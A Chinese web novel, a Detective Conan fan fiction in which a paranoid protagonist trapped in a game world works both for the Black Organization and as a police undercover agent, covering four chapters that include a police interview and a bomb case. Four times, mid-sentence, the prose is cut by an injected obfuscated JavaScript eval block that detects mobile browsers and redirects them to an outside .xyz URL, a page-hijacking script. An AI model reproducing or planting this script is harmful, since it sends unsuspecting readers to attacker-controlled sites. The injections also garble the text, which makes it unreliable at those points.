《被害妄想症如何在柯学世界求生》 1. 第 1 章 这个世界很危险。 原月见面无表情地坐在警视厅做着笔录,对面的警察问一句他答一句。 “昨天下午到晚上的时间,你都在哪?” “下午我在一家中餐馆打工,三点整上班,九点整下班,店里的员工和客人可以为我作证。下班后我去附近的便利店挑选食材,九点十三分进店,九点三十四分离开,店里的门口有监控,可以记录我进出的时间。” 警察一边点头,一边记录,纸笔摩擦的声音在安静的室内十分清晰。 “九点四十二分,我看见了一个抢劫犯神色匆匆逃离的背影,他拿着一个女士手提包,背带有拉扯的痕迹,我还听到了金属碰撞的声音,大腿裤兜的位置有长条状的鼓起,大概是携带了刀具。” 警察眉头紧皱,落笔的手都停顿了一瞬。 “我正好处于他的视角盲区,连忙躲到了小巷,推算了脚步声远去的声音后,探头观察一番后,才从无人的小巷子里蹑手蹑脚的走出,那个时候是九点四十九分。” “然后呢?”警察情不自禁地问道。 “我确认自己安全之后,向犯人离开的反方向走去,找到一个安全的电话亭后,拨打了匿名电话提供了犯人的线索,电话拨通时间是十点零三分。之后我便回到了家,到家时间是十点三十五分,我的门口装有摄像头,可以证明我到家的时间。” 警察又联系了同事,确认了那通匿名举报的电话信息,然后向原月见问道:“根据核实,那通电话是一位女士拨打的,你怎么证明是你打的?” “我用了变声器,伊达警官,不介意的话我现在可以拿出来重新复述当时的内容,您可以录音再找同事确认一遍。”原月见提议。 伊达航自无不可,核实一遍后还是忍不住问道:“原先生看起来很熟练,为什么要用变声器呢?” 原月见有些疲惫,但还是耐心回答:“如果您经常遇到案件,也会和我一样熟练的记下各个时间点在做什么。至于使用变声器,纯粹为了防止犯人发现匿名举报人的身份,怀疑到我身上向我复仇。” 伊达航嘴角抽搐,“不至于,先生,虽然小心是好事,但一般情况下没有多少人会因为这种莫名其妙的理由报复的。” “你不懂,伊达警官。”提到这里,原月见神色郑重,满脸认真:“这是我的生存之道,我能活那么久全有赖于我小心做人。” 伊达航本想安慰,可一想到眼前的青年是因为一桩杀人案被牵连才来到警局做笔录,这一番谈话也证明了对方的不在场证明是真实的。被害人于晚上九点半到十点之间遇害,如果不是被害人家属说原月见与被害人起过冲突,也不至于来到警署。 那个时间原月见还碰到了一起抢劫案,伊达航安慰的话卡到了喉咙迟迟说不出口,只好改口道:“辛苦了,原先生。” 原月见摇头,“没事,反正今天是周日,我也只约了心理医生,来警署之前我已经和对方沟通过取消预约了,没有耽误我什么要紧的事。” “心理医生?是遇到麻烦的事了吗?如果需要帮助,可以随时联系我,能帮忙我会尽力。”即使只是一面之缘,伊达航还是不免担忧。 “只是情绪压力有点大,需要找人倾诉一下。”原月见实话实话。 在这个世界待了半年后,原月见已经深深地意识到了这个世界的危险性。 本来他只是个平平无奇的准大学生,十八岁参加完高考后,收到了一份礼物,是即将上市、尚且处于内测阶段的全息游戏的游戏仓。 本着好奇的心态,原月见跃跃欲试,打开了这款游戏《名侦探○南》。 结果自此之后,他发现自己被困在了这个游戏里。 历经两年,原月见早已经逐渐适应了这里的生活,并决定脱离这个游戏之前一定不能死。 或许正因为是侦探类型的解密游戏,这个游戏里犯罪率居高不下, NPC一波一波的死,让从小生活在华国的原月见叹为观止。 不过毕竟是游戏,如果没有层出不穷、千奇百怪的案件,又怎么能彰显侦探游戏的本质呢?解密案件的前提就是要有案件存在。 在经历过被抢劫、被挟持作为人质、差点被陷害成犯人、因为莫名其妙的原因差点被情杀……这一系列生活的毒打后,原月见现在的心脏格外强大,也在这生活的两年时间里,成为一名要定期去找心理医生做心理治疗的被害妄想症患者。 不过原月见不是为了寻求治疗,他认为自己的想法一点错都没有,不存在被害妄想,都是合理推测。做人必须要小心,才能在这个危险的世界苟住。 虽然医生给他诊断患有被害妄想症和焦虑症,但他之所以去心理医生那里做心理咨询,是为了排解自己想要离开这个游戏的情绪而已。 否则的话,原月见觉得自己还没疯,但他周围的人好像已经快疯了。 伊达航点头表示理解,看了眼手表的时间,发现临近中午下班,本来想说原月见可以离开了。可抬眼看到原月见有些怏怏的神情,有一搭没一搭地摆弄手指,桌上的水已经被喝光了,伊达航到了嘴边的话变成:“如果饿了,中午可以留在警署,可以提供午饭。” 发现黑发青年金色的眸子猛地一亮,连连点头道谢,伊达航有些无奈又稳重地带人去食堂。 原月见早就不是第一次来警署了,可以说是轻车熟路。本来他十分不愿来到警署,这意味着他又倒霉触发随机事件了。 今天没有任务,不需要去上班,加上昨天晚上发生了那么多事,原月见本来打算睡到自然醒。奈何警署一个电话打到他手机上,不得不早饭都没吃就来警署接受询问了。 肚子里都是水,原月见迫切地想要吃上迟来的早中饭。 伊达航本来以为需要他带路,没想到原月见似乎很熟悉警署,走在他前面就来到了食堂。 为了缓解原月见的情绪,伊达航扯开了新的话题,“今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889048|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是工作日,原先生不需要去工作,是工作时间比较特殊吗?” 大部分人还是规规矩矩当社畜的,工作日老老实实上班。之前原月见透露出来的意思,是他本来今天约了医生。虽然不知道是请了假,还是工作时间轮休比较特殊,或者是自由职业者,但总归算是一个日常的话题。 提到了工作,原月见微微蹙眉,不过他不觉得自己的表现有什么错误,大部分人都不会喜欢上班的,“我的工作时间比较自由。” “是自由职业吗?”伊达航好奇地问道,打量着原月见的着装和姿态。 不过再怎么看,原月见给人的第一印象与其说是踏入了社会的成年人,不如说还像是刚念大学的大学生,有种自由和散漫感。 手上也没有明显的茧子,连长期握笔的茧子都没有,连作家和漫画家之类的职业都无从推测。 伊达航一时之间脑洞大开,连模特演员之类的身份都思考了,毕竟以外貌而言,原月见有着去当演员都毫不逊色的容貌。 “自由职业者好歹还能看心情拒绝一些不想干的工作呢。”原月见说到这里,不禁怨气冲天。 他恨琴酒,受不了这样的卷王,卷王应该滚出组织。 原月见只觉得自己倒了八辈子的血霉,加入组织被分配到了琴酒的手下,就算是摸鱼都不如他最初打工混生活费的时候快乐。 谁懂啊?半夜三更被琴酒一通电话叫来干活,原月见像从棺材里复活的鬼一样怨气冲天,充满了怨念的凝视着琴酒。 就连伏特加都感觉被波及,背后一阵寒意,转头一看就能被原月见吓个半死。 当然,伏特加的恶寒不是没有理由的。 原月见脑子里闪过了无数想法,甚至都思考了要不要当场背刺琴酒,解决这个他的心腹大患,然后再向上面报告琴酒过度加班,精神失常,任务中出了纰漏结果不幸殉职,连着搭档伏特加都栽了进去。 但思考了一下这个计划的可行性后,再加上这份工作的高薪水是他为了生活必须的,原月见只好收敛了满腔的怨念,继续干活,并不留余力的在力所能及的范围内恶心琴酒。 可恶!职场里怎么会有琴酒这样的人!他平等地恨每一个卷王,拉低了他的职场体验! 本来干一单钱多休息时间长,干一天能躺十天半一个月,再领一下公安那边的工资,原月见觉得在这个世界还有一点体验感,结果全被卷王破坏了! “托了我一些同事的福,本来我的工作可以有个九十分的体验,现在不得不变成了五十九分。” 伊达航只觉得原月见身上出现了诡异的气场,本来悠哉的大学生模样瞬间变成了类似于加班强度过大的警察同事一样的气场。 “确实辛苦了。”伊达航感叹道。 “没事,我迟早找个机会把我看不顺眼的同事都踢走,改善我的职场环境。”原月见平静回答,“就算踢不掉他,我也绝不会让他有我在的时候好过。” 2. 第 2 章 伊达航嘴角一抽,对原月见的怨念略微无语。不过转念一想,对方即使已经工作,依旧有着一股孩子气,也不算件坏事。 “那你加油。”伊达航干巴巴地鼓励道。 说话期间,原月见眼疾手快的点完了餐,熟练地端起餐盘走到一旁的餐桌,都不需要伊达航过多的介绍。 “你看起来好像很熟练?”伊达航有些迟疑,他相信自己的观察力,但正因如此才不敢肯定。 “因为我来过很多次了。”原月见回答道,“说不定伊达警官以后能经常看到我。” 说到这里,原月见相当自然的继续问道:“我以前没怎么见过你,伊达警官是新入职没多久吗?” 伊达航点了点头,“是的,看来你是在我成为警察之前就经常来这里了。” 说完伊达航诡异的沉默了片刻,不知是该为原月见倒霉的运气,还是米花町居高不下的犯罪率作出一番解释,“……以后需要帮忙的话,可以随时联系我,这是我的名片。” 原月见收下了伊达航的名片,诚实回答:“希望我永远不会有用到这张名片的一天。” 伊达航被他的回答哽住,只觉得这顿饭吃的食不下咽。 等原月见离开了警署,伊达航又从周围的同事打听了一番,提炼收集到的信息。 “人倒霉也要有个限度,总感觉原君实在倒霉过头了。” 其他人连声附和,“这种体质就是事故体质吧,据说很多侦探都有。” 一人心有戚戚,“是啊,都混成熟脸了。不过原先生并不是侦探,似乎只是单纯倒霉。” “上次他还问过我哪家神社许愿转运比较灵,我给他推荐了几家。” “不过无论见过他多少次,还是觉得有点不可思议,第一次见他的时候,我还以为他是大学生呢,看起来一点都不像工作一两年的人。” 同事的讨论在下午上班时间后很快就消失了,又各自投入了工作之中。不过给伊达航留下的印象深刻,就算到了晚上与萩原研二和松田阵平在居酒屋聚会的时候,都不忘提及这回事。 “真的有那么倒霉吗?”松田阵平挑了挑眉,认为传言或许存在夸大。 “不管怎样,都到了要看心理医生的地步了,看来确实对生活产生了影响。”萩原研二感叹道,“班长以后碰到他尽量照顾一下吧。” 从班长叙事的口吻来看,虽然有意不给原月见带来尴尬,尽量客观不带感情色彩,可萩原研二和班长相处了这么久,敏锐的从中捕捉到了细节。 至少在为人处事方面,原月见看起来还像是一个没出社会的大学生,似乎社交方面的情商有待提高。 萩原研二联想原月见定期看心理医生的经历,觉得还是不要对他为人处事的细节过分苛责,尽量体谅他。 伊达航喝了口酒,放下酒杯。回忆了今天同事说过的案例,艰难的开口:“说不定用不到我,你们以后也可能会和他碰面。” “班长你是认真的?”松田阵平开口道,对那个事故缠身的人产生了些许的好奇,真那么倒霉的话,对方是怎么平安的生活到了现在? 他们都正式入职没多久,伊达航去了警视厅下辖警察署,从基层做起,而他和萩原研二则是进入警视厅警备部机动队□□处理班,不在同一个地方工作,因此经常选择在下班后碰面联系感情。 “听说他碰见爆炸案的次数仅次于杀人案。”伊达航委婉回答。 “啧。”松田阵平没想到这居然还是真的,“要是这么频繁,他不如去学个拆弹,未来经常可以用到。” 萩原研二用手肘戳了戳松田阵平,幸好当事人不在,不过以防万一,还是要纠正一下松田阵平,免得以后在当事人面前说出扎心的话,“遇到这种事已经很不幸了,及时找警察解决麻烦好歹可以排解一下。” “所以hagi,你已经默认了以后一定会在案件里遇到对方了吗?”松田阵平不客气地回答。 萩原研二被噎住了,还是伊达航及时发出了感叹:“要真是如此,那他还不如去念个警校,好歹能提高一下自保能力。” 听到这里,萩原研二和松田阵平倒是一致点头,赞同了伊达航的看法。 虽然原月见不知道他们的吐槽,不过就算知道了,也只会迎来大无语。 收到了手机发来的邮件,原月见打开一看,便又合上了手机。 「任务考核通过,以后你的代号是田纳西威士忌」——琴酒。 “不知怎的,我就是高兴不起来,有种入了狼窝的感觉。”原月见忍不住吐槽。 「毕竟你加入的是非法组织,怎么看也算不上普通人眼中的好工作」系统一板一眼的回答。 “你以为我想加入吗?连辞职信都会变成送命信。” 「至少你还有日本公安做后盾」 “你安慰的很好,但我并没有感觉被安慰到。” 一份工作就够受气了,这样一来他还打了两份工,原月见一点也高兴不起来。 虽然能混就混,但凡能摸鱼能甩锅他是一点都没少干,但这也改变不了他干两份工作的本质。 要不是为了钱,这些工作工资还算可观,原月见早就不干跑路了。 来到这个世界的前半年,原月见可以说是如履薄冰,在案件高发的情况下苟住,熬过了半年的时间。 半年后,掉线的系统终于上线了,哪怕附赠了氪金功能可以用来保命,但原月见受到这半年时间的荼毒,已经改变不了养成的习惯了。 而且这氪金功能由于原月见根本联系不上原本的世界,也就没办法使用原本世界的钱,只能使用这个世界的钱用来氪金。为了有足够的钱氪金保命,原月见不得不在上了警校后加入了警察厅公安部去卧底,然后在这个黑衣组织中做任务混钱。 天知道原月见去考警校不过只是为了多掌握一些自保手段,压根没想过毕业后真的去当警察。毕竟这个世界对他来说只是一个虚假的全息游戏世界,要不是因为莫名其妙的缘由被困在了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889049|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,原月见也不会拿出认真的态度。 甚至他都不算日本人,要不是游戏自带语言包,原月见觉得自己融入这个世界都够费劲了。 意识到这个小小的日本案件居然如此多发,原月见当场就想买机票飞回老家。但正如他不仅被困在了这个全息游戏里,甚至只能待在日本这个地图上。 发现这点后,原月见只好被迫认清现实,努力找出适合自己的生存方法。 天知道在这里死了会不会真的死去,他都暂时回不了原来的世界了,自然不想尝试这些可能会导致他死亡的事情。 要是真是游戏就罢了,可被困在游戏里就是另一码事了。 至少系统还有点用处,在上线后给他做了份完美的游戏身份资料,让他考上了警校还去当了卧底。 原月见迅速敲击了按键,打了一封邮件,不过不是发给琴酒,而是发给伏特加。 发给琴酒也不会回,只会把他的邮件当做垃圾信息。 「伏特加,我的搭档呢?他的代号是什么?」 伏特加似乎还在工作,迅速给他回了消息,原月见看了一眼手机上的时间,对伏特加产生了一丝的同情。 他晚上不睡觉是因为他是个夜猫子,伏特加不睡觉是因为跟着琴酒继续加班。这么一看他的搭档至少比琴酒强多了,会因为他半夜三更突然打电话和他吵起来并把他拉黑,还警告他没有重要事情不要在晚上打电话。 「他也通过了考核,代号是宾加,不过他现在不是你的搭档了」——伏特加。 「?为什么不是搭档了?失去了他我真的很可惜」原月见回道。 另一边查收邮件的伏特加面部一阵抽搐,很想问问原月见,现在更准确的说是田纳西,他自己心里就没有点数吗? 宾加卖力干活,甚至忍受原月见这个不靠谱的搭档分享他的业绩,带着这个混子一起起飞,不就是为了早日拿到代号,然后把原月见踹到一边吗? 就算是伏特加,见到宾加也得恭喜他一声梦想成真,终于摆脱了原月见。 至于原月见口中的可惜,伏特加想能不可惜吗,缺少了一个大冤种在有他拖后腿的情况下,还能带着他有着这样的业绩,换谁少了这么一个冤种都会觉得可惜。 想到这里,伏特加赶紧在心中敲了敲木鱼,短暂的对自己产生了一秒钟的唾弃,他怎么能因为原月见而这么形容宾加呢?要不是宾加承担了这样的搭档,堪称是做慈善,要不然就得他和琴酒大哥接收原月见了。 虽然原月见确实有能力,甚至是因为这份能力才会都这样有病了,琴酒也没有一颗枪子崩了他,勉强忍耐他的存在。 但伏特加觉得比起原月见带来的好处,显然是带来的坏处更大,当初有宾加接手原月见这个搭档,他恨不得当场开香槟。 纵然伏特加心中有万千想法,此时此刻也昧着良心糊弄原月见。 「你的能力很强,很适合去带新人,宾加没有你这样优秀的能力,只能被迫和你散伙」 3. 第 3 章 原月见勉为其难的接受了这个说法,于是放下了手机,又躺到了床上。 没办法,这个时代的科技有限,大晚上能玩的很少,原月见就算熬夜也很难直接通宵。 目睹了全程的系统还是颇为正直的吐槽,「宾加晚上从来不叫你干活,还不是因为你一开始老是晚上给他打骚扰电话,后来干脆把你的消息设置成了勿扰,宁可他自己单干也不想联系你。」 原月见认真思索了下,回道:“那又如何,他只是设置成了勿扰,又没拉黑我,这说明我们的感情还不错。” 「……有没有可能,因为他是一个事业狂,怕把你拉黑错过了重要的消息,才勉强忍耐只是设置了免打扰?」 “这不重要。”原月见斩钉截铁。 就算不是人的系统都免不了对宾加产生了些许的同情,但原月见好像有读心术似的,幽幽说道:“系统,会有今天的局面还不都怪你?我好好打着游戏,结果却被困在了这个世界,你什么时候可以修好bug让我脱离这里?” 系统有些汗流浃背了,立刻转移话题,支支吾吾回答,「在修了在修了,就是还要再等一等,你坚持一下。」 与此同时,系统迅速又扒拉了一遍存储的录像,里面记录的宿主的被害妄想症给宾加带来的种种折磨,认真说的话系统也脱不了一分干系。 系统的赛博心脏短暂的进行了一秒的忏悔 ,又能屈能伸的做出了和之前伏特加一样的昧着良心的举动。 「宾加是个好人,能和宿主成为搭档是他的福气。」 “能碰见你和这个游戏也是我的福气。”原月见阴阳怪气道。 来到这个世界,原月见感觉他被加了一层死神眷顾的buff似的,案件与他形影不离。 原月见知道自己整天疑神疑鬼的举动肯定给周围的人带来了影响,但不管怎么说,就算被困在了这里,他也算半个玩家,玩家怎么会有错? 何况他及时制止了不少案件的发生,免去了有人被谋财害命,怎么不算是积累功德,乐善好施呢? “不过没了宾加,不知道还有哪些好朋友能像他那么好用,单干还是太累了,我觉得我需要一个搭档。” 「伏特加的意思似乎是让你去带新人?你可以挑个好用的人替你干活。」 原月见纠正道:“什么叫做他替我干活?我们这是互帮互助,一起赚组织的钱。” 系统熟练的改口,「对对对,宿主你一定能找到一个新的人美心善的搭档。」 说完系统忍不住腹诽,不知道又是哪个倒霉蛋步上宾加的后尘。 伏特加也是职场奇才,柿子挑软的捏继续让新人来替补受原月见带来的折磨。 睡到了日上三竿,原月见才懒洋洋的在床上翻了个身,又眯了一会儿才拿起床头柜上的手机,翻阅了下伏特加给他发过来的新人资料。 新人有两个,分别是安室透和绿川唯,分别是情报贩子和狙击手,如果考核成功,以后会正式加入情报组和行动组。 伏特加大概生怕一个新人不够原月见折腾,一下子给他塞了两个,希望能借此打发他的精力。 原月见看出了伏特加的小心思,不过他也觉得这番安排还不错,干脆就接受了。 不过与原月见放松的心情不同,另一边的两人收到这个消息后立刻陷入了坐立难安的紧张情绪,打起了十二万分的精神。 听伏特加透露出的意思,如果不出意外,他们在代号名为田纳西威士忌的组织成员手下待一段时间,任务表现不错,通过考核的话,也就能各自取得代号,正式成为组织的核心成员。 身为卧底,这自然是降谷零和诸伏景光期待看到的发展,意味着他们的卧底生涯可以向前迈进一个重要的步伐。 但出于卧底的敏感,降谷零和诸伏景光都敏锐的察觉到了伏特加告诉他们消息后如释重负的神色。 虽然伏特加有意遮掩,但他们都诡异的从中感觉到伏特加那种好像甩开了一个包袱的心情。 身为卧底很难不多想,降谷零立刻发挥自己情报贩子的人设,试图有意无意的从伏特加这里打听到一些情报。 这样的举动倒也不算出格,毕竟和自身利益息息相关,想打听点情报,提前做个准备也很正常,伏特加倒没起什么疑心,反而感觉他自己的演技有问题,情绪遮掩不到位,可能无意间透露了什么。 思考到这里,伏特加愤愤不平,这都怪原月见! 于是伏特加遮遮掩掩,“放心,田纳西能力还是有的,只是偶尔看起来不太正经。你们相处久了,自然都会明白。” 打了个预防针后,伏特加自觉解释的还不错,为自己点了个赞,然后就将降谷零和诸伏景光打发走了。 毕竟现在伏特加还算是他们的上司,上司发话了,至于其中的含义,底下的人要学会自己去理解。 要不是看在降谷零和诸伏景光能力不错,琴酒大哥也算看好他们。未来有一天他们大概率会成为自己平级的同事,就像原月见那样,伏特加的态度还会更不客气。 就算伏特加的话很含糊,但降谷零和诸伏景光也得从这含糊的话中扒拉出有价值的信息。 “……偶尔看起来不太正经?这是什么意思?”私下找了个安全适合谈话的地方,确认没有监听器之类的设备,诸伏景光谨慎开口询问。 “听起来对方不怎么讨人喜欢。”降谷零可不客气的评价。 “你说的确实有道理。”诸伏景光回答,然后叹了一口气,“如果真是这样,接下来我们可有的受了。” 以组织的行事风格,伏特加都能给出这样的评价,降谷零和诸伏景光左思右想,把能想到的都翻了个遍。 什么脾气古怪、可能是个变态、贪恋美色私生活混乱、嗜血残暴……一系列揣测都翻了一遍,成功让他们本来就警惕的心更加警惕了。 这个田纳西不容小觑,他们必须要小心对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889050|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待对方。 如果真的是个彻头彻尾的人渣,等他们卧底有机会后,立刻就抓住机会把这个田纳西送进局子。 不过当务之急,还是他们能顺利取得代号,不得不卧薪尝胆,在这个田纳西的手下忍耐一段时间。 而不知不觉间就在降谷零和诸伏景光心中进化成了大魔王的原月见自然毫不知情,还悠哉悠哉的打着刚买回来的新上市的游戏。 不仅他以前就是个家里蹲,在来到这个世界后,出门就跟踩点刷新什么任务似的,瞬间能刷新出一堆案件,原月见就更加家里蹲了。 虽然老待在家里也挺无聊的,原月见也会时不时的给其他人打几个骚扰电话,来满足一下社交需求。 虽然其他接到电话的人都跟见了鬼似的,心情很差,但原月见不在乎他们怎么想。 只要原月见能缓解一下自己的情绪,就算创飞其他人都无所谓。反正他也不觉得这个世界有多么真实,看看这离谱的案件发生率,换谁都会觉得假的离奇。 但有时候就算躲着不出门,案件也能从天而降。在接到警署的紧急通知后,说是公寓被安装了炸弹,请居民立刻有序疏散避险,原月见还是陷入了一阵沉默。 这是什么人在家中坐,祸从天上来呀啊? 他才住进了这个公寓不到一个月,结果就碰到了炸弹案。 还好原月见早就有先见之明,很少买房只是租房,方便他随时跑路更换住所。就算是买了房子,也会及时买一份保险。免得房子莫名其妙被炸,然后血本无归。 但这里不得不吐槽的是,由于原月见的房子总是出各种事故,一开始保险公司的销售人员见到他还满面笑容,格外亲切的给他推荐各种保险。然而到了现在,原月见发现他已经成为这家保险公司的黑名单客户了。 又在更换了其他一两家保险公司后,原月见只感觉照这个趋势发展下去,他迟早会被这个行业拉黑了。 原月见心情不快,打开了早就被事先收拾过的小型便携行李箱,里面存放着他重要的物件。加上行李箱的体积小巧,方便携带,在需要立刻跑路的时候就非常好用了。 提着心爱的行李箱,原月见动作迅速又熟练地赶在了所有人之前第一个冲出公寓,远离了这座被安装了炸弹的公寓楼。 系统立刻在他的脑海里播放了一段鼓掌的录音,庆祝原月见又一次顺利逃生。 住的地方被安装了炸弹,原月见还是打开了手机,翻看着各种讯息,弄清楚这到底是怎么一回事。 得知是有人安装炸弹,想要从中勒索后,原月见面色不愉。 这个炸弹犯最好祈祷自己不要太倒霉落到他的手上,否则原月见一定要让他好好忏悔。 原月见没有什么其他想去的地方,干脆就在公寓附近找个地方坐下,打开手机玩俄罗斯方块打发时间。 炸弹似乎有些棘手,警视厅派来了一个小队的爆|炸|物处理班成员来拆弹。 4. 第 4 章 像这样的炸弹案,影响比较恶劣,警视厅免不了安排警察来维持秩序。 公寓附近拉开了一圈的警戒线,禁止闲杂人等入内。站岗的警察严肃的维持秩序,附近免不了还是有人围观。 更有记者拿着话筒,随行的摄影组成员架着摄影机,随时跟拍直播现场情况。 似乎还有其他记者在走访调查,原月见本来低头打着游戏,忽然被人叫住。 “你好,这位先生,您是这所公寓的住户吗?” 原月见抬眼一瞥,冷淡地点点头,然后继续埋头打游戏。 但对方似乎还不死心,坚持要挖出一点可以用来报道的信息,“您相信警察可以解决这一次的炸弹危机吗?如果炸弹爆炸,您认为责任是否需要警察承担一部分呢?” 原月见为这记者的喋喋不休颇感不耐,加上对方的询问内容,更是没有什么好感。 “我不相信警察难道还要相信你吗?” 这话里带刺的回答让记者脸上的笑容一僵,没等记者缓过神来,原月见不客气的摆摆手,示意记者赶紧走开。 “再骚扰我就投诉你,我可已经记下你的工号了。” 原月见多次出入案发现场,早就习惯了一些不良记者的德性了。天天逮着日本警察大喷特喷,试图引起关注蹭热点。 虽然原月见也知道日本警察的水平参差不齐,他也多次差点被当成凶手逮捕。但无论如何,他还是不喜欢这些记者试图夸大泼脏水的做法。 更别说拆弹的时候拆弹警察背负的压力和危险之大,一旦出了差错,可没有多少送进医院急救的机会,更多都是直接送去停尸间,尸体还未必能有多少保留下来的部分,能找到的往往都是断臂残肢。 虽然原月见有时候觉得这一切不过是游戏,高发的案件让他觉得虚假至极。但偶尔原月见也会觉得这个游戏在一些地方过于真实,无愧于当时宣传的“为玩家带来真实体验”的标语。 将脸色难看的记者打发走,原月见也失去了继续玩俄罗斯方块的兴致。这个时代的科技发展远远没有他原来世界所在的时间点那么发达 ,打开手机能玩的也格外有限,就算想当低头族都没有这个机会。 原月见浏览了实时更新的新闻,没等他多想,就感觉到周围似乎有不对劲的地方。 这种感觉很难形容,原月见将其称之为见过太多罪犯而锻炼出的火眼金睛,他只是一抬头向周围观望了一下,便看到有个神色扭曲的男人疑似精神状态出现问题,整个人处于不稳定的状况之中。 原月见又看了一眼新闻播送的时间,刚好是两分钟之前,播出时间还没多久。 那个人手指紧紧抓住手机,关节都因为过度用力而发白,眼眶突出,牙关咬紧。要不是原月见知道这是一个侦探游戏,要是换成什么恐怖游戏,他都会觉得这个人下一秒会突变成丧尸。 手机的屏幕上还有一些湿痕,似乎是手机的主人一直刻意抓着手机,手心出汗而染上的水印。 抓着手机的人又阴狠的看了一眼公寓的位置,原月见顿感不妙,根据他多年打游戏的经验,这简直和游戏boss即将放大招的前兆格外相像。 于是原月见的肢体立刻做出了反应,不管三七二十一,先把对方打了再说。 虽然新闻播报炸弹犯出了车祸,当场去世。但谁说犯人只有一个,说不定会有同伙,这个家伙的反应十分可疑。 打对了原月见只会觉得自己格外英明,干了一件好事。就算打错了,那错就错了,还能怎样。 他刚租的房子啊!这个月的租金都已经提前付过了。 而且公寓里边还有一波警察正在拆弹,虽然原月见觉得这个世界本质上不过是一场游戏,不过偶尔透露出的真实感还是让他愿意干点人事的。 沉浸在浓厚的情绪中的人还没有反应过来,就被直接顺走了手机并揣到了原月见的兜里,原月见动作熟练地像是个在某一行干了多年的扒手。 不过这实在没办法,原月见表示这都是为了生存。为了在某些时候洗清他的嫌疑,或者直接在嫌疑人手中抢走犯案凶器和作案道具,原月见不得不练出来这一身本事。 被抢走手机的人刚想反抗,就被原月见一手掀翻在地,力道之大让人一时间难移脱身。 被原月见一只手按在地上的人只想说这哪来的大猩猩?看着身板瘦弱力气却这么大。他还想试图挣扎,原月见没有急着查看手机,而是伸出另一只手,两手牢牢的把人控制在地上。 注意到这里的风波,很快就有站岗的警察赶过来,上前询问发生了什么事。 原月见先斩后奏:“我怀疑他是犯人,手上拿着炸弹的控制器。” 警察面带狐疑,心想真有炸弹犯光天化日之下就在安装炸弹的现场暴露自己吗?很多路人也会胡乱猜测提供错误的线索,警察也不可能一一当真 ,必须要从中筛选正确的信息。 于是这个警察好言相劝,让原月见先放开手下疑似无辜市民的人。 被按在了地上的人终于有了喘息之机,被原月见松开手后大口吸气,只觉得原月见下手实在太黑,他的脖子和脊椎差点痛死。 缓过来了一口气,犯人知道自己肯定得露馅,手上的炸弹控制器都被人抢走了,一检查肯定知道他就是炸弹犯。 就在原月见将手机交给警察检查的时候,立刻抓住这个空隙,拔腿就想跑。 没等警察查看一眼,看到在地上起来的人跑得飞快的情形,也察觉到了不对劲,立刻呼叫周围的同事拦住他,自己也赶紧追了上去。 原月见递过手机的姿势落空,不过他没在意,而是慢悠悠地查看手机的后台程序,发现界面上的程序,不由得称赞了自己英明的举动。 “这个人果然是炸弹犯。” 系统也连番肯定,为原月见播放了一段掌声背景音乐。 「宿主成功救下了十几个人!还保住了公寓!」 “那你是不是该给我送点钱?” 系统呆滞了一瞬。 「啊?为什么要送你钱?」 “你不是对我救人的举动很高兴吗?”原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889051|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月见语重心长,“统啊,想让人替你干活,就得拿出点奖励来。千万不要学那些无良资本家,想要白嫖劳动力。” 系统憋出了一句话,「可是我没有给你发过任务呀。」 “难道不是因为你也想救人吗?”原月见反问,“我这么做不是也算替你实现了心愿吗?统,要懂得感恩。” 「你不觉得你现在很像无良资本家吗?」系统很快回过神来,「看看这说话的方式,你是不是在PUA我?」 虽然系统乐于见到宿主救人,每次原月见这么干,它都不留余力的给送上夸夸,但原月见这么一表现,系统还是觉得有点直冒冷汗。 没等原月见和系统聊多久,很快就有其他警察赶了过来,拿过他手上的手机检查。 发现真是炸弹的控制器后,接过手机的警察感觉一身冷汗。天啊,他都不敢想象要是这个控制器真被按下去,会带来怎样可怕的后果。 对原月见连声道谢后,这个今天第二个和他谈话的警察很快就匆匆离去,把得到的消息上报给上司。 原月见拒绝了警视厅执意要给他的表彰,不说他在为非法组织工作,还有个双重身份是公安部的卧底,越少在屏幕上露面越好。 